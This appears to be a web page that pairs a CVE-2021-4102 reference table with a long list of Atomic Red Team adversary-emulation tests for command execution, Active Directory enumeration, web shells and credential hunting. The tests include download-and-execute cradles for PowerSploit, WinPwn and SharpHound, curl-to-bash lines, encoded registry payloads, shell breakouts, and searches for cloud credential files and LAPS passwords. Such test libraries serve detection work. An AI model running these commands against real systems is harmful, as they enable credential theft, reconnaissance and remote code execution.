Windows
PowerShell
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Command (PowerShell)
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
T1059.001
PowerShell Command Execution
Windows
CMD
Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Command (CMD)
powershell.exe -e #{obfuscated_code}
T1059.001
PowerShell Fileless Script Execution
Windows
PowerShell
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that
art-marker.txt is in the folder.
Command (PowerShell)
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
T1059.001
PowerShell Invoke Known Malicious Cmdlets
Windows
PowerShell
Privileged
Powershell execution of known Malicious PowerShell Cmdlets
Command (PowerShell)
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
T1059.001
PowerShell Session Creation and Use
Windows
PowerShell
Privileged
Connect to a remote powershell session and interact with the host.
Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
Command (PowerShell)
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
T1059.001
PowerUp Invoke-AllChecks
Windows
PowerShell
Check for privilege escalation paths using PowerUp from PowerShellMafia
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
T1059.001
Powershell Invoke-DownloadCradle
Windows
Manual
Provided by https://github.com/mgreen27/mgreen27.github.io
Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
T1059.001
Powershell MsXml COM object - with prompt
Windows
CMD
Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed.
Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
T1059.001
Powershell XML requests
Windows
CMD
Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed.
Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
T1059.001
Powershell invoke mshta.exe download
Windows
CMD
Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!".
Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
T1059.001
Run BloodHound from local disk
Windows
PowerShell
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.
Successful...
Command (PowerShell)
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
T1059.001
Run Bloodhound from Memory using Download Cradle
Windows
PowerShell
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur.
Successful execution...
Command (PowerShell)
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
T1059.001
SOAPHound - Build Cache
Windows
PowerShell
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename.
src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
T1059.001
SOAPHound - Dump BloodHound Data
Windows
PowerShell
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory.
src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
T1059.004
Change login shell
Linux
Bash
Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004
Command line scripts
Linux
Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004
Command-Line Interface
Linux, macOS
Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.
Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004
Create and Execute Bash Shell Script
Linux, macOS
Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004
Creating shell using cpan command
Linux, macOS
Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell.
Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
T1059.004
Current kernel information enumeration
Linux
Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004
Detecting pipe-to-shell
Linux
Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
T1059.004
Environment variable scripts
Linux
Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004
Harvest SUID executable files
Linux
Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004
LinEnum tool execution
Linux
Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004
New script file in the tmp directory
Linux
Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004
Obfuscated command line scripts
Linux
Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004
Shell Creation using awk command
Linux, macOS
Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command.
Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004
Shell Creation using busybox command
Linux
Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell.
Reference -...
Command (Shell)
busybox sh &
T1059.004
What shell is running
Linux
Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004
What shells are available
Linux
Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells
T1059.004
emacs spawning an interactive system shell
Linux, macOS
Shell
Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1087.002
Account Enumeration with LDAPDomainDump
Linux
Shell
This test uses LDAPDomainDump to perform account enumeration on a domain.
[Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
Command (Shell)
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
T1087.002
Active Directory Domain Search
Linux
Shell
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
Command (Shell)
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
T1087.002
Adfind - Enumerate Active Directory Admins
Windows
CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts
reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
T1087.002
Adfind - Enumerate Active Directory Exchange AD Objects
Windows
CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects
reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
T1087.002
Adfind - Enumerate Active Directory User Objects
Windows
CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects
reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
T1087.002
Adfind -Listing password policy
Windows
CMD
Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy.
reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
T1087.002
Automated AD Recon (ADRecon)
Windows
PowerShell
ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its
path will be displayed.
Command (PowerShell)
Invoke-Expression "#{adrecon_path}"
T1087.002
Enumerate Active Directory Users with ADSISearcher
Windows
PowerShell
The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference:...
Command (PowerShell)
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
T1087.002
Enumerate Active Directory for Unconstrained Delegation
Windows
PowerShell
Attackers may attempt to query for computer objects with the UserAccountControl property
'TRUSTED_FOR_DELEGATION' (0x80000;524288) set
More Information -...
Command (PowerShell)
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
T1087.002
Enumerate Default Domain Admin Details (Domain)
Windows
CMD
This test will enumerate the details of the built-in domain admin account
Command (CMD)
net user administrator /domain
T1087.002
Enumerate Linked Policies In ADSISearcher Discovery
Windows
PowerShell
The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference:...
Command (PowerShell)
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002
Enumerate Root Domain linked policies Discovery
Windows
PowerShell
The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference:...
Command (PowerShell)
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002
Enumerate all accounts (Domain)
Windows
CMD
Enumerate all accounts
Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
Command (CMD)
net user /domain
net group /domain
T1087.002
Enumerate all accounts via PowerShell (Domain)
Windows
PowerShell
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
Command (PowerShell)
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
T1087.002
Enumerate logged on users via CMD (Domain)
Windows
CMD
Enumerate logged on users. Upon exeuction, logged on users will be displayed.
Command (CMD)
query user /SERVER:#{computer_name}
T1087.002
Get-DomainUser with PowerView
Windows
PowerShell
Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
T1087.002
Kerbrute - userenum
Windows
PowerShell
Enumerates active directory usernames using the userenum function of Kerbrute
Command (PowerShell)
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
T1087.002
Suspicious LAPS Attributes Query with Get-ADComputer all properties
Windows
PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties *
T1087.002
Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope
Windows
PowerShell
This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
T1087.002
Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property
Windows
PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002
Suspicious LAPS Attributes Query with adfind all properties
Windows
PowerShell
This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
T1087.002
Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd
Windows
PowerShell
This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002
Wevtutil - Discover NTLM Users Remote
Windows
PowerShell
This test discovers users who have authenticated against a Domain Controller via NTLM.
This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
Command (PowerShell)
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
T1087.002
WinPwn - generaldomaininfo
Windows
PowerShell
Gathers general domain information using the generaldomaininfo function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
T1505.003
Web Shell Written to Disk
Windows
CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk.
Idea from APTSimulator.
cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001
Access unattend.xml
Windows
CMD
Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.
If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001
Extract Browser and System credentials with LaZagne
macOS
Bash
Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001
Extract passwords with grep
Linux, macOS
Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001
Extracting passwords with findstr
Windows
PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001
Find AWS credentials
Linux, macOS
Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001
Find Azure credentials
Linux, macOS
Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001
Find GCP credentials
Linux, macOS
Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001
Find OCI credentials
Linux, macOS
Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001
Find and Access Github Credentials
Linux, macOS
Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001
List Credential Files via Command Prompt
Windows
CMD
Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001
List Credential Files via PowerShell
Windows
PowerShell
Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001
WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials
Windows
PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001
WinPwn - SessionGopher
Windows
PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001
WinPwn - Snaffler
Windows
PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001
WinPwn - passhunt
Windows
PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001
WinPwn - powershellsensitive
Windows
PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001
WinPwn - sensitivefiles
Windows
PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutputDetection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-4102 |
| chromereleases.googleblog.com |
GitHub CVE
x_refsource_MISC
|
https://chromereleases.googleblog.com/2021/12/stable-channel-update-for-desktop_13.html |
| crbug.com |
GitHub CVE
x_refsource_MISC
|
https://crbug.com/1278387 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-4102 |